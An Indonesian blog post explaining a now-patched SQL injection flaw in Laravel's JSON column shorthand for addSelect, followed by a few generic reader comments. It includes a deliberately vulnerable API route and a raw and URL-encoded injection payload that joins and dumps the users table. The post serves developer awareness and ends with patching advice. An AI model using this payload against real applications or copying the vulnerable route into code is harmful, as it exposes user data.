Unsafe SQL Function pada Laravel

Halo, sobat malasbaca ! Perkenalkan Saya Nando admin baru disini 😀 tulisan pertama saya akan mengulas sedikit mengenai salah satu framework PHP yang cukup populer saat ini yaitu Laravel.

Sebelumnya saya mempercayai bahwa query builder pada Laravel 100% “aman”. Bahwa inputan user tidak langsung dipassing yang memungkinkan terjadinya serangan SQL Injection.

Beberapa bulan lalu, di sebuah komunitas ada yang membahas tentang function-function yang tidak aman. banyak developer yang berasumsi (termasuk juga saya :v pribadi), bahwa Laravel query builder totally, mencegah serangan SQL injection.

Pembahasan kali ini, bertujuan untuk meningkatkan kesadaran teman-teman sekalian mana yang aman dan mana yang tidak.

SQL Injection Vulnerability ???

Kerentanan ini sudah diperbaiki pada Laravel versi 5.8.11

Mari kita ulas sedikit masalahnya ..

Laravel memiliki kemampuan untuk manual menentukan kolom mana yang akan dipilih pada query. dan juga kita bisa menggunakan shorthand notation untuk data JSON:

Blog::query() ->addSelect('title->en');

jika ditulisan dalam query manual json_extract

SELECT
json_extract(`title`, '$."en"') FROM blogs;

kita bisa menggunakan syntax yang disederhanakan dengan “->”, yang akan dikonversi Laravel ke SQL statement yang benar.

Berhati-hatilah:

Laravel tidak melakukan escaping pada statement tersebut . Perhatikan contoh berikut:

Blog::query()->addSelect('title->en'#');

dengan menyisipkan ‘# pada inputan kita, kita bisa secara manual menutup function json_extract dan mengabaikan query lainnya

SELECT
json_extract(`title`,
'$."en'#"')
FROM blogs;

Query di atas akan menghasilkan error, tapi bagaimana dengan query berikut ?

SELECT
json_extract( `title`,
'$."en"'))
FROM blogs RIGHT OUTER JOIN users ON users.id <> null #
"')
FROM blogs;

Kita menambahkan outer join pada tabel user, intinya adalah men-select semua data pada tabel tersebut

sebagai referensi. Berikut adalah version malicious code URL encoded

%22%27%29%29+FROM+blogs+RIGHT+OUTER+JOIN+users+ON+users.id+%3C%3E+null%23

Katakanlah, kita punya endpoint API dalam aplikasi, query untuk post blog pada API publik :

Route::get('/posts', function (Request $request) {
    $fields = $request->get('fields', []);

    $users = Blog::query()->addSelect($fields)->get();

    return response()->json($users);
});


Konsumen API kemungkinan hanya tertarik pada beberapa fields, itu sebabnya kita coba menambahkan filter untuk parameter field. mirip dengan sparse fieldsets dari JSON api spec.

untuk menggunakan endpoint gambarannya seperti ini :

/blog?fields[]=url&fields[]=title

kemudian kita coba menyisipkan malicious code sebagai berikut :

/blog?fields[]=%22%27%29%29+FROM+blogs+RIGHT+OUTER+JOIN+users+ON+users.id+%3C%3E+null%23

kemudian payload tersebut ditambahkan ke dalam query,dan mengembalikan hasil dengan format json, kita bisa melihat seluruh isi dari tabel users

Blog::query()->addSelect([
'%22%27%29%29+FROM+blogs+RIGHT+OUTER+JOIN+users+ON+users.id+%3C%3E+null%23'
])->get();

Ada beberapa hal yang memungkinkan serangan ini terjadi :

– Endpoint API yang dapat diakses, yang memungkinkan Attacker merequest malicious code ke dalam select atau addSelect.Kemungkinan kita tidak melakukan ini secara manual di proyek kita .

– entry point table harus punya kolom dengan data JSON, kalau tidak, fungsi json_extract akan gagal, menghentikan query kita. Melalui enty point, kita dapat mengakses semua data.

Pencegahan ??

Update ke Laravel versi 5.8.11, akan lebih baik jika kita sering meng-update dengan Laravel latest version,

Sebagai catatan, developer sebaiknya selalu melakukan filter apa yang diinput user (Don’t trust any user input :v )

Sekian pembahasan kali ini , Kalau ada salah apapun bisa coret-coret dibawah,nanti saya update dan mohon dimaafkan 😀

About Roby Firnando 4 Articles
a Computer Nerd , 0% Have Fun

16 Comments

  1. I’m not sure exactly why but this website is loading extremely slow for me.
    Is anyone else having this problem or is it a problem on my end?
    I’ll check back later on and see if the problem still exists.

  2. Hello there! I know this is kinda off topic however I’d figured I’d
    ask. Would you be interested in trading links or maybe guest authoring a blog
    post or vice-versa? My blog covers a lot of the same subjects as
    yours and I believe we could greatly benefit from each other.
    If you’re interested feel free to send me an e-mail.
    I look forward to hearing from you! Fantastic blog
    by the way!

  3. Thanks for a marvelous posting! I actually enjoyed
    reading it, you can be a great author.I will be sure to bookmark your blog and will eventually come back in the
    future. I want to encourage continue your great job, have a nice day!

  4. Hello! I could have sworn I’ve visited this site before but after
    going through many of the posts I realized it’s new to me.
    Anyways, I’m certainly pleased I found it and I’ll be book-marking it and checking back often!

Leave a Reply

Your email address will not be published.


*